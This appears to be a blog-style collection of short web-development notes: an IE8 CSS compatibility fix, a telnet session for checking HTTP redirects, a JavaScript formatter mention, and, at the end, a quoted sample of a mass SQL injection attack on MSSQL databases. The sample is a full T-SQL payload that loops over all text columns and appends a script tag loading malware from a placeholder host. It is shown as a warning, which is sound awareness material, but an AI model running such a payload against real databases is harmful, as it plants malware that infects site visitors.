IEBlog : Site Compatibility and IE8

IEBlog : Site Compatibility and IE8

Here're a couple of methods for coding to IE8 (new hacks! d'oh!):

Initial CSS Property Values

Unset properties on the currentStyle object now return their initial value. Relying on the old initial values for CSS properties such as z-index can cause problems. This is the root cause of issues with the ASP.NET menu control. SOLUTION: Perform a check for both the backwards compatible value and the standardized initial value.
var zIndex = elm.currentStyle.zIndex;
if(zIndex == 0) {
// custom code
}		 var zIndex = elm.currentStyle.zIndex;
if(zIndex == 0 || zIndex == "auto") {
// custom code
}

Tutorials - Servers > Telnet as a Diagnostic Aid

February 16th, 2009, 4:28 pm by Clay

I don't know about you, but I can use a reefresher now and again for things like surfing with Telnet to determine if 301 re-directs work...

In a nutshell, you'll want something like this:

telnet eastvalley.freedomblogging.com 80[cr]
Trying 69.25.233.100...
Connected to eastvalley.freedomblogging.com.
Escape character is '^]'.
HEAD / HTTP/1.1[cr]
Host: eastvalley.freedomblogging.com[cr]
[cr]

Note: italic items are sent by the server, whilst non-italic items are typed. Also NOTE the double carriage return ([cr]) at the end.

Javascript Format and Colour

Javascript Format and Colour


This is a nifty tool to format JavaScript that has been mini-fied. Very nifty for reading JavaScript (although it doesn't get your function names back, if they've been obfuscated...).

Here's a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:


DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
